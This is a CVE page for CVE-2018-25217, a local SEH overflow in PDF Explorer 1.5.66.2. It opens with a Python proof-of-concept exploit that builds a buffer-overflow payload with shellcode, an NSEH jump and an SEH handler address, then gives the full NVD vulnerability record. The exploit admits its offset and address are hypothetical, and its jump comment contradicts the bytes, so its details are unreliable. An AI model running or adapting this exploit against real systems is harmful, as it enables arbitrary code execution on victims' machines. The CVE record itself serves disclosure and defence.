CVE-2018-25217

import struct # PoC for CVE-2018-25217 PDF Explorer SEH Overflow # This script generates a malicious string to trigger the vulnerability. def generate_exploit(): # Offset to overwrite SEH (Hypothetical value based on typical SEH pattern) offset = 4064 # NSEH jump instruction: pop pop ret -> short jump 6 bytes back nseh = b"\xEB\x06\x90\x90" # SEH Handler address (POP POP RET from a non-ASLR module) # Address is illustrative; needs to be valid for the specific PDF Explorer version seh = struct.pack('<L', 0x1001A201) # Shellcode (calc.exe for demonstration) shellcode = b"\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0" # Padding to fill the buffer padding = b"A" * (offset - len(shellcode)) payload = padding + shellcode + nseh + seh + b"C" * 500 return payload if __name__ == "__main__": exploit = generate_exploit() print(f"[+] Generated Exploit Payload Length: {len(exploit)}") # In a real attack scenario, this payload would be copied into the Label field

{"cve": {"id": "CVE-2018-25217", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:05.693", "lastModified": "2026-03-27T18:16:39.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PDF Explorer 1.5.66.2 contains a structured exception handler (SEH) overflow vulnerability that allows local attackers to execute arbitrary code by overwriting SEH records with malicious data. Attackers can craft a payload with buffer overflow, NSEH jump, and ROP gadget chains that execute when the Custom fields settings dialog processes the malicious input in the Label field."}, {"lang": "es", "value": "PDF Explorer 1.5.66.2 contiene una vulnerabilidad de desbordamiento de gestor de excepciones estructurado (SEH) que permite a atacantes locales ejecutar código arbitrario sobrescribiendo registros SEH con datos maliciosos. Los atacantes pueden crear una carga útil con desbordamiento de búfer, salto NSEH y cadenas de gadgets ROP que se ejecutan cuando el diálogo de configuración de campos personalizados procesa la entrada maliciosa en el campo 'Label'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rttsoftware:pdf_explorer:1.5.66.2:*:*:*:*:*:*:*", "matchCriteriaId": "0B3D94D5-9207-48A0-9D70-38A70F8F8634"}]}]}], "references": [{"url": "http://www.rttsoftware.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46016", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.rttsoftware.com/files/PDFExplorerTrialSetup.zip", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/pdf-explorer-structured-exception-handler-local-code-execution", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}